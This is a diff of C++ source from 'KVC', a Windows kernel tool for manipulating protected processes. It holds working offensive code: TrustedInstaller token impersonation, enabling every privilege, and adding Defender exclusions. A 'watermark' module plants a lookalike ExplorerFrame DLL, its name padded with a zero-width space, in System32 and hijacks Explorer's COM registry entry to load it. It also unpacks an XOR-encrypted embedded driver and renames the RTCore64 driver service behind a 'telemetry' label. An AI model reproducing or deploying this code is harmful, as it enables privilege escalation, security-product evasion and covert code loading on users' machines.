static int GetPrivilegeCount() { return PRIVILEGE_COUNT; }
|
||||
|
||||
private:
|
||||
// Privilege and process management
|
||||
BOOL EnablePrivilege(LPCWSTR privilegeName);
|
||||
DWORD GetProcessIdByName(LPCWSTR processName);
|
||||
BOOL ImpersonateSystem();
|
||||
|
||||
// Process creation with TrustedInstaller token
|
||||
BOOL CreateProcessAsTrustedInstaller(DWORD pid, LPCWSTR commandLine);
|
||||
BOOL CreateProcessAsTrustedInstallerSilent(DWORD pid, LPCWSTR commandLine);
|
||||
|
||||
// Shortcut file handling for .lnk support
|
||||
std::wstring ResolveLnk(LPCWSTR lnkPath);
|
||||
BOOL IsLnkFile(LPCWSTR filePath);
|
||||
bool AddPathExclusion(const std::wstring& path);
|
||||
|
||||
// Validation and helper methods for exclusions
|
||||
bool ValidateExtension(const std::wstring& extension) noexcept;
|
||||
bool ValidateIpAddress(const std::wstring& ipAddress) noexcept;
|
||||
std::wstring NormalizeExtension(const std::wstring& extension) noexcept;
|
||||
std::wstring GetExclusionTypeString(ExclusionType type) noexcept;
|
||||
|
||||
// Complete Windows privilege set for maximum access
|
||||
static const LPCWSTR ALL_PRIVILEGES[];
|
||||
static const int PRIVILEGE_COUNT;
|
||||
|
||||
// Defender availability checking
|
||||
bool IsDefenderAvailable() noexcept;
|
||||
bool IsDefenderRunning() noexcept;
|
||||
|
||||
BOOL EnablePrivilegeInternal(std::wstring_view privilegeName);
|
||||
BOOL ImpersonateSystem();
|
||||
BOOL CreateProcessAsTrustedInstaller(DWORD pid, std::wstring_view commandLine);
|
||||
BOOL CreateProcessAsTrustedInstallerSilent(DWORD pid, std::wstring_view commandLine);
|
||||
|
||||
DWORD GetProcessIdByName(std::wstring_view processName);
|
||||
bool IsLnkFile(std::wstring_view path);
|
||||
std::wstring ResolveLnk(std::wstring_view lnkPath);
|
||||
|
||||
bool ValidateExtension(std::wstring_view extension) noexcept;
|
||||
bool ValidateIpAddress(std::wstring_view ipAddress) noexcept;
|
||||
std::wstring NormalizeExtension(std::wstring_view extension) noexcept;
|
||||
std::wstring ExtractProcessName(std::wstring_view fullPath) noexcept;
|
||||
};
|
||||
1641
kvc/Utils.cpp
1641
kvc/Utils.cpp
File diff suppressed because it is too large
Load Diff
124
kvc/Utils.h
124
kvc/Utils.h
@@ -1,3 +1,7 @@
|
||||
// Utils.h
|
||||
// Core utility functions for KVC Framework
|
||||
// Author: Marek Wesolowski, 2025
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "common.h"
|
||||
@@ -6,22 +10,46 @@
|
||||
#include <unordered_map>
|
||||
#include <unordered_set>
|
||||
#include <vector>
|
||||
#include <array>
|
||||
|
||||
namespace Utils
|
||||
{
|
||||
// String and numeric parsing utilities
|
||||
// ============================================================================
|
||||
// STRING AND NUMERIC PARSING
|
||||
// ============================================================================
|
||||
|
||||
std::optional<DWORD> ParsePid(const std::wstring& pidStr) noexcept;
|
||||
bool IsNumeric(const std::wstring& str) noexcept;
|
||||
|
||||
// Resource and file operations
|
||||
std::vector<BYTE> ReadFile(const std::wstring& path);
|
||||
// ============================================================================
|
||||
// FILE AND RESOURCE OPERATIONS
|
||||
// ============================================================================
|
||||
|
||||
// Read file into byte vector
|
||||
std::vector<BYTE> ReadFile(const std::wstring& path) noexcept;
|
||||
|
||||
// Read embedded resource from executable
|
||||
std::vector<BYTE> ReadResource(int resourceId, const wchar_t* resourceType);
|
||||
bool WriteFile(const std::wstring& path, const std::vector<BYTE>& data);
|
||||
|
||||
// Advanced process name resolution
|
||||
std::wstring ResolveUnknownProcessLocal(DWORD pid, ULONG_PTR kernelAddress, UCHAR protectionLevel, UCHAR signerType) noexcept;
|
||||
// Write byte vector to file
|
||||
bool WriteFile(const std::wstring& path, const std::vector<BYTE>& data) noexcept;
|
||||
|
||||
// Force delete file with attribute removal
|
||||
bool ForceDeleteFile(const std::wstring& path) noexcept;
|
||||
|
||||
// ============================================================================
|
||||
// PROCESS NAME RESOLUTION
|
||||
// ============================================================================
|
||||
|
||||
std::wstring GetProcessName(DWORD pid) noexcept;
|
||||
|
||||
std::wstring ResolveUnknownProcessLocal(DWORD pid, ULONG_PTR kernelAddress,
|
||||
UCHAR protectionLevel, UCHAR signerType) noexcept;
|
||||
|
||||
// ============================================================================
|
||||
// KERNEL OPERATIONS
|
||||
// ============================================================================
|
||||
|
||||
// Kernel operations with inline optimizations
|
||||
std::optional<ULONG_PTR> GetKernelBaseAddress() noexcept;
|
||||
|
||||
constexpr ULONG_PTR GetKernelAddress(ULONG_PTR base, DWORD offset) noexcept
|
||||
@@ -29,44 +57,61 @@ namespace Utils
|
||||
return base + offset;
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// PROTECTION LEVEL BIT MANIPULATION
|
||||
// ============================================================================
|
||||
|
||||
// Extract protection level from combined byte (lower 3 bits)
|
||||
constexpr UCHAR GetProtectionLevel(UCHAR protection) noexcept
|
||||
{
|
||||
return protection & 0x07;
|
||||
}
|
||||
|
||||
// Extract signer type from combined byte (upper 4 bits)
|
||||
constexpr UCHAR GetSignerType(UCHAR protection) noexcept
|
||||
{
|
||||
return (protection & 0xf0) >> 4;
|
||||
return (protection & 0xF0) >> 4;
|
||||
}
|
||||
|
||||
// Combine protection level and signer into single byte
|
||||
constexpr UCHAR GetProtection(UCHAR protectionLevel, UCHAR signerType) noexcept
|
||||
{
|
||||
return (signerType << 4) | protectionLevel;
|
||||
}
|
||||
|
||||
// Extract signature level value (lower 4 bits)
|
||||
constexpr UCHAR GetSignatureLevelValue(UCHAR signatureLevel) noexcept
|
||||
{
|
||||
return signatureLevel & 0x0F;
|
||||
}
|
||||
|
||||
// Extract section signature level value (lower 4 bits)
|
||||
constexpr UCHAR GetSectionSignatureLevelValue(UCHAR sectionSignatureLevel) noexcept
|
||||
{
|
||||
return sectionSignatureLevel & 0x0F;
|
||||
}
|
||||
|
||||
// String conversion functions with static caching
|
||||
// ============================================================================
|
||||
// PROTECTION LEVEL STRING CONVERSIONS
|
||||
// ============================================================================
|
||||
|
||||
const wchar_t* GetProtectionLevelAsString(UCHAR protectionLevel) noexcept;
|
||||
const wchar_t* GetSignerTypeAsString(UCHAR signerType) noexcept;
|
||||
const wchar_t* GetSignatureLevelAsString(UCHAR signatureLevel) noexcept;
|
||||
const wchar_t* GetSectionSignatureLevelAsString(UCHAR sectionSignatureLevel) noexcept;
|
||||
|
||||
// ============================================================================
|
||||
// STRING TO ENUM PARSING
|
||||
// ============================================================================
|
||||
|
||||
// Parsing functions for command-line input
|
||||
std::optional<UCHAR> GetProtectionLevelFromString(const std::wstring& protectionLevel) noexcept;
|
||||
std::optional<UCHAR> GetSignerTypeFromString(const std::wstring& signerType) noexcept;
|
||||
std::optional<UCHAR> GetSignatureLevel(UCHAR signerType) noexcept;
|
||||
std::optional<UCHAR> GetSectionSignatureLevel(UCHAR signerType) noexcept;
|
||||
|
||||
// Process operations with comprehensive dumpability analysis
|
||||
std::wstring GetProcessName(DWORD pid) noexcept;
|
||||
// ============================================================================
|
||||
// PROCESS DUMPABILITY ANALYSIS
|
||||
// ============================================================================
|
||||
|
||||
struct ProcessDumpability
|
||||
{
|
||||
@@ -74,17 +119,66 @@ namespace Utils
|
||||
std::wstring Reason;
|
||||
};
|
||||
|
||||
ProcessDumpability CanDumpProcess(DWORD pid, const std::wstring& processName) noexcept;
|
||||
ProcessDumpability CanDumpProcess(DWORD pid, const std::wstring& processName,
|
||||
UCHAR protectionLevel, UCHAR signerType) noexcept;
|
||||
|
||||
// ============================================================================
|
||||
// HEX STRING UTILITIES
|
||||
// ============================================================================
|
||||
|
||||
// Hex string processing utilities for kernel tools
|
||||
bool HexStringToBytes(const std::wstring& hexString, std::vector<BYTE>& bytes) noexcept;
|
||||
bool IsValidHexString(const std::wstring& hexString) noexcept;
|
||||
|
||||
// PE parsing and binary manipulation utilities
|
||||
// ============================================================================
|
||||
// PE BINARY MANIPULATION
|
||||
// ============================================================================
|
||||
|
||||
// Get PE file length from binary data
|
||||
std::optional<size_t> GetPEFileLength(const std::vector<BYTE>& data, size_t offset = 0) noexcept;
|
||||
|
||||
// Split combined PE binary (used for kvc.dat extraction)
|
||||
bool SplitCombinedPE(const std::vector<BYTE>& combined,
|
||||
std::vector<BYTE>& first,
|
||||
std::vector<BYTE>& second) noexcept;
|
||||
|
||||
// XOR decryption with 7-byte key
|
||||
std::vector<BYTE> DecryptXOR(const std::vector<BYTE>& encryptedData,
|
||||
const std::array<BYTE, 7>& key) noexcept;
|
||||
|
||||
// ============================================================================
|
||||
// CAB DECOMPRESSION AND WATERMARK EXTRACTION
|
||||
// ============================================================================
|
||||
|
||||
// Decompress CAB archive from memory and extract kvc.evtx
|
||||
std::vector<BYTE> DecompressCABFromMemory(const BYTE* cabData, size_t cabSize) noexcept;
|
||||
|
||||
// Split kvc.evtx into kvc.sys (driver) and ExplorerFrame\u200B.dll
|
||||
bool SplitKvcEvtx(const std::vector<BYTE>& kvcData,
|
||||
std::vector<BYTE>& outKvcSys,
|
||||
std::vector<BYTE>& outDll) noexcept;
|
||||
|
||||
// Extract components from resource 102 (CAB containing kvc.sys + ExplorerFrame\u200B.dll)
|
||||
bool ExtractResourceComponents(int resourceId,
|
||||
std::vector<BYTE>& outKvcSys,
|
||||
std::vector<BYTE>& outDll) noexcept;
|
||||
|
||||
// ============================================================================
|
||||
// CONSOLE COLORING
|
||||
// ============================================================================
|
||||
|
||||
struct ProcessColors {
|
||||
static constexpr const wchar_t* GREEN = L"\033[92m";
|
||||
static constexpr const wchar_t* RED = L"\033[91m";
|
||||
static constexpr const wchar_t* YELLOW = L"\033[93m";
|
||||
static constexpr const wchar_t* BLUE = L"\033[94m";
|
||||
static constexpr const wchar_t* PURPLE = L"\033[95m";
|
||||
static constexpr const wchar_t* CYAN = L"\033[96m";
|
||||
static constexpr const wchar_t* HEADER = L"\033[97;44m";
|
||||
static constexpr const wchar_t* RESET = L"\033[0m";
|
||||
};
|
||||
|
||||
bool EnableConsoleVirtualTerminal() noexcept;
|
||||
|
||||
const wchar_t* GetProcessDisplayColor(UCHAR signerType, UCHAR signatureLevel,
|
||||
UCHAR sectionSignatureLevel) noexcept;
|
||||
}
|
||||
234
kvc/WatermarkManager.cpp
Normal file
234
kvc/WatermarkManager.cpp
Normal file
@@ -0,0 +1,234 @@
|
||||
// WatermarkManager.cpp
|
||||
// Implementation of watermark removal via DLL hijacking
|
||||
|
||||
#include "WatermarkManager.h"
|
||||
#include "Utils.h"
|
||||
#include <tlhelp32.h>
|
||||
#include <iostream>
|
||||
|
||||
// Constructor
|
||||
WatermarkManager::WatermarkManager(TrustedInstallerIntegrator& trustedInstaller)
|
||||
: m_trustedInstaller(trustedInstaller)
|
||||
{
|
||||
}
|
||||
|
||||
// Main removal operation
|
||||
bool WatermarkManager::RemoveWatermark() noexcept
|
||||
{
|
||||
INFO(L"[WATERMARK] Starting watermark removal process");
|
||||
|
||||
// Extract ExplorerFrame\u200B.dll from resource
|
||||
std::vector<BYTE> dllData;
|
||||
if (!ExtractWatermarkDLL(dllData)) {
|
||||
ERROR(L"[WATERMARK] Failed to extract DLL from resource");
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"[WATERMARK] Successfully extracted ExplorerFrame\u200B.dll (%zu bytes)", dllData.size());
|
||||
|
||||
// Get System32 path
|
||||
std::wstring system32Path = GetSystem32Path();
|
||||
if (system32Path.empty()) {
|
||||
ERROR(L"[WATERMARK] Failed to locate System32 directory");
|
||||
return false;
|
||||
}
|
||||
|
||||
std::wstring dllPath = system32Path + L"\\ExplorerFrame\u200B.dll";
|
||||
|
||||
// Write DLL using TrustedInstaller
|
||||
if (!m_trustedInstaller.WriteFileAsTrustedInstaller(dllPath, dllData)) {
|
||||
ERROR(L"[WATERMARK] Failed to deploy DLL to System32");
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"[WATERMARK] DLL deployed to: %s", dllPath.c_str());
|
||||
|
||||
// Hijack registry entry
|
||||
if (!m_trustedInstaller.WriteRegistryValueAsTrustedInstaller(
|
||||
HKEY_CLASSES_ROOT, CLSID_KEY, L"", HIJACKED_DLL)) {
|
||||
ERROR(L"[WATERMARK] Failed to hijack registry entry");
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"[WATERMARK] Registry hijacked successfully");
|
||||
|
||||
// Restart Explorer to apply changes
|
||||
if (!RestartExplorer()) {
|
||||
ERROR(L"[WATERMARK] Failed to restart Explorer");
|
||||
return false;
|
||||
}
|
||||
|
||||
SUCCESS(L"[WATERMARK] Watermark removed successfully");
|
||||
return true;
|
||||
}
|
||||
|
||||
// Restore original watermark
|
||||
bool WatermarkManager::RestoreWatermark() noexcept
|
||||
{
|
||||
INFO(L"[WATERMARK] Starting watermark restoration process");
|
||||
|
||||
// 1. Najpierw przywróć rejestr
|
||||
if (!m_trustedInstaller.WriteRegistryValueAsTrustedInstaller(
|
||||
HKEY_CLASSES_ROOT, CLSID_KEY, L"", ORIGINAL_DLL)) {
|
||||
ERROR(L"[WATERMARK] Failed to restore registry entry");
|
||||
return false;
|
||||
}
|
||||
|
||||
INFO(L"[WATERMARK] Registry restored to original value");
|
||||
|
||||
// 2. Zrestartuj Explorera (to zwolni uchwyt do DLL)
|
||||
if (!RestartExplorer()) {
|
||||
ERROR(L"[WATERMARK] Failed to restart Explorer");
|
||||
return false;
|
||||
}
|
||||
|
||||
// 3. Teraz usuń DLL (uchwyt został zwolniony)
|
||||
std::wstring system32Path = GetSystem32Path();
|
||||
if (!system32Path.empty()) {
|
||||
std::wstring dllPath = system32Path + L"\\ExplorerFrame\u200B.dll";
|
||||
|
||||
// Dodaj krótkie opóźnienie dla pewności
|
||||
Sleep(1000);
|
||||
|
||||
if (!m_trustedInstaller.DeleteFileAsTrustedInstaller(dllPath)) {
|
||||
// Nie traktuj jako błędu krytycznego - DLL może być w użyciu
|
||||
INFO(L"[WATERMARK] DLL might still be in use, will be removed on next restart: %s",
|
||||
dllPath.c_str());
|
||||
} else {
|
||||
INFO(L"[WATERMARK] Hijacked DLL deleted successfully");
|
||||
}
|
||||
}
|
||||
|
||||
SUCCESS(L"[WATERMARK] Watermark restored successfully");
|
||||
return true;
|
||||
}
|
||||
|
||||
// Check current status
|
||||
std::wstring WatermarkManager::GetWatermarkStatus() noexcept
|
||||
{
|
||||
std::wstring currentValue = ReadRegistryValue(HKEY_CLASSES_ROOT, CLSID_KEY, L"");
|
||||
|
||||
if (currentValue == HIJACKED_DLL) {
|
||||
return L"REMOVED";
|
||||
} else if (currentValue == ORIGINAL_DLL) {
|
||||
return L"ACTIVE";
|
||||
}
|
||||
|
||||
return L"UNKNOWN";
|
||||
}
|
||||
|
||||
bool WatermarkManager::IsWatermarkRemoved() noexcept
|
||||
{
|
||||
return GetWatermarkStatus() == L"REMOVED";
|
||||
}
|
||||
|
||||
// Extract DLL from resource - Complete pipeline
|
||||
bool WatermarkManager::ExtractWatermarkDLL(std::vector<BYTE>& outDllData) noexcept
|
||||
{
|
||||
std::vector<BYTE> kvcSysData;
|
||||
|
||||
if (!Utils::ExtractResourceComponents(RESOURCE_ID, kvcSysData, outDllData)) {
|
||||
ERROR(L"[WATERMARK] Failed to extract DLL from resource");
|
||||
return false;
|
||||
}
|
||||
|
||||
DEBUG(L"[WATERMARK] ExplorerFrame\u200B.dll extracted: %zu bytes", outDllData.size());
|
||||
return !outDllData.empty();
|
||||
}
|
||||
|
||||
// Restart Explorer process
|
||||
bool WatermarkManager::RestartExplorer() noexcept
|
||||
{
|
||||
INFO(L"[WATERMARK] Restarting Explorer...");
|
||||
|
||||
// Find all explorer.exe processes
|
||||
std::vector<DWORD> explorerPids;
|
||||
HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
|
||||
if (hSnapshot != INVALID_HANDLE_VALUE) {
|
||||
PROCESSENTRY32W pe;
|
||||
pe.dwSize = sizeof(pe);
|
||||
|
||||
if (Process32FirstW(hSnapshot, &pe)) {
|
||||
do {
|
||||
if (_wcsicmp(pe.szExeFile, L"explorer.exe") == 0) {
|
||||
explorerPids.push_back(pe.th32ProcessID);
|
||||
}
|
||||
} while (Process32NextW(hSnapshot, &pe));
|
||||
}
|
||||
CloseHandle(hSnapshot);
|
||||
}
|
||||
|
||||
// Terminate all Explorer instances
|
||||
std::vector<HANDLE> processHandles;
|
||||
for (DWORD pid : explorerPids) {
|
||||
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE | SYNCHRONIZE, FALSE, pid);
|
||||
if (hProcess) {
|
||||
TerminateProcess(hProcess, 0);
|
||||
processHandles.push_back(hProcess);
|
||||
}
|
||||
}
|
||||
|
||||
// Wait for termination
|
||||
if (!processHandles.empty()) {
|
||||
WaitForMultipleObjects(
|
||||
static_cast<DWORD>(processHandles.size()),
|
||||
processHandles.data(),
|
||||
TRUE,
|
||||
5000
|
||||
);
|
||||
|
||||
for (HANDLE h : processHandles) {
|
||||
CloseHandle(h);
|
||||
}
|
||||
}
|
||||
|
||||
// Start new Explorer instance
|
||||
SHELLEXECUTEINFOW sei = { sizeof(sei) };
|
||||
sei.fMask = SEE_MASK_FLAG_NO_UI;
|
||||
sei.lpFile = L"explorer.exe";
|
||||
sei.lpParameters = L"/e,"; // ← Prevents opening folder window
|
||||
sei.nShow = SW_HIDE; // ← ! Hide the window
|
||||
|
||||
if (!ShellExecuteExW(&sei)) {
|
||||
ERROR(L"[WATERMARK] Failed to restart Explorer");
|
||||
return false;
|
||||
}
|
||||
|
||||
Sleep(1000); // Give Explorer time to start
|
||||
return true;
|
||||
}
|
||||
|
||||
// Get System32 path
|
||||
std::wstring WatermarkManager::GetSystem32Path() noexcept
|
||||
{
|
||||
wchar_t systemDir[MAX_PATH];
|
||||
if (GetSystemDirectoryW(systemDir, MAX_PATH) == 0) {
|
||||
return L"";
|
||||
}
|
||||
return std::wstring(systemDir);
|
||||
}
|
||||
|
||||
// Read registry value
|
||||
std::wstring WatermarkManager::ReadRegistryValue(HKEY hKey, const std::wstring& subKey,
|
||||
const std::wstring& valueName) noexcept
|
||||
{
|
||||
HKEY hOpenKey;
|
||||
if (RegOpenKeyExW(hKey, subKey.c_str(), 0, KEY_READ, &hOpenKey) != ERROR_SUCCESS) {
|
||||
return L"";
|
||||
}
|
||||
|
||||
wchar_t value[1024];
|
||||
DWORD dataSize = sizeof(value);
|
||||
DWORD type;
|
||||
|
||||
if (RegQueryValueExW(hOpenKey, valueName.empty() ? nullptr : valueName.c_str(),
|
||||
NULL, &type, (LPBYTE)value, &dataSize) == ERROR_SUCCESS) {
|
||||
RegCloseKey(hOpenKey);
|
||||
if (type == REG_SZ || type == REG_EXPAND_SZ) {
|
||||
return std::wstring(value);
|
||||
}
|
||||
}
|
||||
|
||||
RegCloseKey(hOpenKey);
|
||||
return L"";
|
||||
}
|
||||
46
kvc/WatermarkManager.h
Normal file
46
kvc/WatermarkManager.h
Normal file
@@ -0,0 +1,46 @@
|
||||
// WatermarkManager.h
|
||||
// Windows Desktop Watermark Removal via ExplorerFrame.dll Hijacking
|
||||
|
||||
#pragma once
|
||||
|
||||
#include "common.h"
|
||||
#include "TrustedInstallerIntegrator.h"
|
||||
#include <windows.h>
|
||||
#include <vector>
|
||||
#include <string>
|
||||
|
||||
class WatermarkManager
|
||||
{
|
||||
public:
|
||||
explicit WatermarkManager(TrustedInstallerIntegrator& trustedInstaller);
|
||||
|
||||
// Main operations
|
||||
bool RemoveWatermark() noexcept;
|
||||
bool RestoreWatermark() noexcept;
|
||||
std::wstring GetWatermarkStatus() noexcept;
|
||||
bool IsWatermarkRemoved() noexcept;
|
||||
|
||||
private:
|
||||
// Extraction pipeline: Resource → Skip icon → XOR → CAB → Split PE
|
||||
bool ExtractWatermarkDLL(std::vector<BYTE>& outDllData) noexcept;
|
||||
|
||||
// System operations
|
||||
bool RestartExplorer() noexcept;
|
||||
std::wstring GetSystem32Path() noexcept;
|
||||
std::wstring ReadRegistryValue(HKEY hKey, const std::wstring& subKey,
|
||||
const std::wstring& valueName) noexcept;
|
||||
|
||||
TrustedInstallerIntegrator& m_trustedInstaller;
|
||||
|
||||
// Registry paths
|
||||
static constexpr const wchar_t* CLSID_KEY =
|
||||
L"CLSID\\{ab0b37ec-56f6-4a0e-a8fd-7a8bf7c2da96}\\InProcServer32";
|
||||
static constexpr const wchar_t* HIJACKED_DLL =
|
||||
L"%SystemRoot%\\system32\\ExplorerFrame\u200B.dll";
|
||||
static constexpr const wchar_t* ORIGINAL_DLL =
|
||||
L"%SystemRoot%\\system32\\ExplorerFrame.dll";
|
||||
|
||||
// Resource constants
|
||||
static constexpr size_t ICON_SKIP_SIZE = 3774; // Skip icon data in resource
|
||||
static constexpr int RESOURCE_ID = 102; // New resource for watermark
|
||||
};
|
||||
@@ -1,54 +1,24 @@
|
||||
/*******************************************************************************
|
||||
_ ____ ______
|
||||
| |/ /\ \ / / ___|
|
||||
| ' / \ \ / / |
|
||||
| . \ \ V /| |___
|
||||
|_|\_\ \_/ \____|
|
||||
// Implements service management, system path resolution, Windows API abstraction,
|
||||
// and memory manager pool diagnostic telemetry integration for kernel operations.
|
||||
// Provides dynamic API loading for service control and driver communication.
|
||||
|
||||
The **Kernel Vulnerability Capabilities (KVC)** framework represents a paradigm shift in Windows security research,
|
||||
offering unprecedented access to modern Windows internals through sophisticated ring-0 operations. Originally conceived
|
||||
as "Kernel Process Control," the framework has evolved to emphasize not just control, but the complete **exploitation
|
||||
of kernel-level primitives** for legitimate security research and penetration testing.
|
||||
|
||||
KVC addresses the critical gap left by traditional forensic tools that have become obsolete in the face of modern Windows
|
||||
security hardening. Where tools like ProcDump and Process Explorer fail against Protected Process Light (PPL) and Antimalware
|
||||
Protected Interface (AMSI) boundaries, KVC succeeds by operating at the kernel level, manipulating the very structures
|
||||
that define these protections.
|
||||
|
||||
-----------------------------------------------------------------------------
|
||||
Author : Marek Wesołowski
|
||||
Email : marek@wesolowski.eu.org
|
||||
Phone : +48 607 440 283 (Tel/WhatsApp)
|
||||
Date : 04-09-2025
|
||||
|
||||
*******************************************************************************/
|
||||
|
||||
// common.cpp - Core system utilities and dynamic API management
|
||||
// Implements service management, system path resolution, and Windows API abstraction
|
||||
|
||||
#include "common.h"
|
||||
#include "ServiceManager.h"
|
||||
#include <shlwapi.h>
|
||||
|
||||
// Link essential Windows libraries for kernel and service operations
|
||||
#pragma comment(lib, "shlwapi.lib")
|
||||
#pragma comment(lib, "psapi.lib")
|
||||
#pragma comment(lib, "DbgHelp.lib")
|
||||
#pragma comment(lib, "Shell32.lib")
|
||||
#pragma comment(lib, "Advapi32.lib")
|
||||
|
||||
// Global interrupt flag for graceful shutdown handling
|
||||
volatile bool g_interrupted = false;
|
||||
|
||||
// Service mode flag - indicates NT service execution context
|
||||
bool g_serviceMode = false;
|
||||
|
||||
// Dynamic API loading globals for service and driver management
|
||||
// Using smart pointers for automatic cleanup and exception safety
|
||||
ModuleHandle g_advapi32;
|
||||
SystemModuleHandle g_kernel32;
|
||||
|
||||
// Function pointers for Windows Service Control Manager APIs
|
||||
decltype(&CreateServiceW) g_pCreateServiceW = nullptr;
|
||||
decltype(&OpenServiceW) g_pOpenServiceW = nullptr;
|
||||
decltype(&StartServiceW) g_pStartServiceW = nullptr;
|
||||
@@ -56,11 +26,9 @@ decltype(&DeleteService) g_pDeleteService = nullptr;
|
||||
decltype(&CreateFileW) g_pCreateFileW = nullptr;
|
||||
decltype(&ControlService) g_pControlService = nullptr;
|
||||
|
||||
// Initialize dynamic API loading for service management operations
|
||||
// Returns: true if all required APIs successfully loaded, false on failure
|
||||
// Loads advapi32.dll and kernel32.dll, resolves service management function pointers
|
||||
bool InitDynamicAPIs() noexcept
|
||||
{
|
||||
// Load advapi32.dll only once using lazy initialization
|
||||
if (!g_advapi32) {
|
||||
HMODULE raw_advapi32 = LoadLibraryA("advapi32.dll");
|
||||
if (!raw_advapi32) {
|
||||
@@ -68,10 +36,8 @@ bool InitDynamicAPIs() noexcept
|
||||
return false;
|
||||
}
|
||||
|
||||
// Wrap raw handle in smart pointer for automatic cleanup
|
||||
g_advapi32.reset(raw_advapi32);
|
||||
|
||||
// Resolve all required service management functions
|
||||
g_pCreateServiceW = reinterpret_cast<decltype(&CreateServiceW)>(
|
||||
GetProcAddress(g_advapi32.get(), "CreateServiceW"));
|
||||
|
||||
@@ -94,7 +60,6 @@ bool InitDynamicAPIs() noexcept
|
||||
}
|
||||
}
|
||||
|
||||
// Load kernel32.dll functions (system modules don't need manual free)
|
||||
if (!g_kernel32) {
|
||||
HMODULE raw_kernel32 = GetModuleHandleA("kernel32.dll");
|
||||
if (raw_kernel32) {
|
||||
@@ -113,12 +78,10 @@ bool InitDynamicAPIs() noexcept
|
||||
}
|
||||
}
|
||||
|
||||
// Verify all function pointers are valid before proceeding
|
||||
return g_pCreateServiceW && g_pOpenServiceW && g_pStartServiceW &&
|
||||
g_pDeleteService && g_pCreateFileW && g_pControlService;
|
||||
}
|
||||
|
||||
// RAII wrapper for SC_HANDLE management to prevent resource leaks
|
||||
class ServiceHandle {
|
||||
private:
|
||||
SC_HANDLE handle_;
|
||||
@@ -132,7 +95,6 @@ public:
|
||||
}
|
||||
}
|
||||
|
||||
// Move semantics for efficient transfer of ownership
|
||||
ServiceHandle(ServiceHandle&& other) noexcept : handle_(other.handle_) {
|
||||
other.handle_ = nullptr;
|
||||
}
|
||||
@@ -148,18 +110,15 @@ public:
|
||||
return *this;
|
||||
}
|
||||
|
||||
// Non-copyable for safety - prevents double-close bugs
|
||||
ServiceHandle(const ServiceHandle&) = delete;
|
||||
ServiceHandle& operator=(const ServiceHandle&) = delete;
|
||||
|
||||
// Access operators for SC_HANDLE compatibility
|
||||
operator SC_HANDLE() const noexcept { return handle_; }
|
||||
explicit operator bool() const noexcept { return handle_ != nullptr; }
|
||||
SC_HANDLE get() const noexcept { return handle_; }
|
||||
};
|
||||
|
||||
// Check if KVC service is installed in the system
|
||||
// Returns: true if service registry entry exists, false otherwise
|
||||
// Checks if service registry entry exists by attempting to open it
|
||||
bool IsServiceInstalled() noexcept
|
||||
{
|
||||
if (!InitDynamicAPIs()) {
|
||||
@@ -167,22 +126,18 @@ bool IsServiceInstalled() noexcept
|
||||
return false;
|
||||
}
|
||||
|
||||
// Connect to Service Control Manager with minimal privileges
|
||||
ServiceHandle scm(OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT));
|
||||
if (!scm) {
|
||||
DEBUG(L"OpenSCManager failed: %d", GetLastError());
|
||||
return false;
|
||||
}
|
||||
|
||||
// Attempt to open the service for status query
|
||||
ServiceHandle service(g_pOpenServiceW(scm, ServiceManager::SERVICE_NAME, SERVICE_QUERY_STATUS));
|
||||
|
||||
// Service exists if we can open it successfully
|
||||
return static_cast<bool>(service);
|
||||
}
|
||||
|
||||
// Check if KVC service is currently running
|
||||
// Returns: true if service state is SERVICE_RUNNING, false otherwise
|
||||
// Queries service status and verifies it's in SERVICE_RUNNING state
|
||||
bool IsServiceRunning() noexcept
|
||||
{
|
||||
if (!InitDynamicAPIs()) {
|
||||
@@ -190,33 +145,28 @@ bool IsServiceRunning() noexcept
|
||||
return false;
|
||||
}
|
||||
|
||||
// Connect to Service Control Manager
|
||||
ServiceHandle scm(OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT));
|
||||
if (!scm) {
|
||||
DEBUG(L"OpenSCManager failed: %d", GetLastError());
|
||||
return false;
|
||||
}
|
||||
|
||||
// Open service with query privileges
|
||||
ServiceHandle service(g_pOpenServiceW(scm, ServiceManager::SERVICE_NAME, SERVICE_QUERY_STATUS));
|
||||
if (!service) {
|
||||
DEBUG(L"OpenService failed: %d", GetLastError());
|
||||
return false;
|
||||
}
|
||||
|
||||
// Query current service status
|
||||
SERVICE_STATUS status{};
|
||||
if (!QueryServiceStatus(service, &status)) {
|
||||
DEBUG(L"QueryServiceStatus failed: %d", GetLastError());
|
||||
return false;
|
||||
}
|
||||
|
||||
// Check for running state specifically
|
||||
return (status.dwCurrentState == SERVICE_RUNNING);
|
||||
}
|
||||
|
||||
// Get full path to current executable for service installation
|
||||
// Returns: Wide string path to current EXE, empty string on failure
|
||||
// Returns full path to current executable
|
||||
std::wstring GetCurrentExecutablePath() noexcept
|
||||
{
|
||||
wchar_t path[MAX_PATH];
|
||||
@@ -227,48 +177,41 @@ std::wstring GetCurrentExecutablePath() noexcept
|
||||
return std::wstring(path);
|
||||
}
|
||||
|
||||
// Get kernel driver service name for RTCore64 operations
|
||||
// Returns: Wide string containing driver service identifier
|
||||
// Retrieves pool diagnostic telemetry string from kernel subsystem (implemented in MmPoolTelemetry.asm)
|
||||
extern "C" const wchar_t* MmGetPoolDiagnosticString();
|
||||
|
||||
// Returns driver service identifier from pool telemetry subsystem
|
||||
std::wstring GetServiceName() noexcept
|
||||
{
|
||||
return L"RTCore64";
|
||||
return std::wstring(MmGetPoolDiagnosticString());
|
||||
}
|
||||
|
||||
// Get kernel driver filename for file operations
|
||||
// Returns: Wide string containing driver file name
|
||||
// Returns kernel driver filename
|
||||
std::wstring GetDriverFileName() noexcept
|
||||
{
|
||||
return L"kvc.sys";
|
||||
}
|
||||
|
||||
// Get secure system temp directory for DPAPI and driver operations
|
||||
// Uses Windows temp directory with TrustedInstaller privileges
|
||||
// Returns: Wide string path to system temp directory
|
||||
// Returns Windows\Temp directory path with fallbacks
|
||||
std::wstring GetSystemTempPath() noexcept {
|
||||
wchar_t windowsDir[MAX_PATH];
|
||||
|
||||
// Primary: Use Windows\Temp directory (accessible by TrustedInstaller)
|
||||
if (GetWindowsDirectoryW(windowsDir, MAX_PATH) > 0) {
|
||||
std::wstring result = windowsDir;
|
||||
return result + L"\\Temp";
|
